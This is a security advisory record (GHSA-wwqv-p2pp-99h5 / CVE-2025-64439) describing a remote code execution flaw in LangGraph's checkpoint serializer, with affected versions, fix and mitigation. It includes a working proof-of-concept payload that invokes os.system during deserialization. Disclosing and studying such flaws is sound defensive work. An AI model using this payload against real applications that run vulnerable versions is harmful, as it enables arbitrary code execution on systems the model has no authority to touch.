CVE-2025-64439: Langgraph checkpoint Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wwqv-p2pp-99h5",
  "modified" : "2025-11-07T21:55:55Z",
  "published" : "2025-11-05T19:52:50Z",
  "aliases" : [ "CVE-2025-64439" ],
  "summary" : "LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ",
  "details" : "# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you > /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langgraph-checkpoint"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64439"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langchain-ai/langgraph"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-05T19:52:50Z",
    "nvd_published_at" : "2025-11-07T21:15:41Z"
  }
}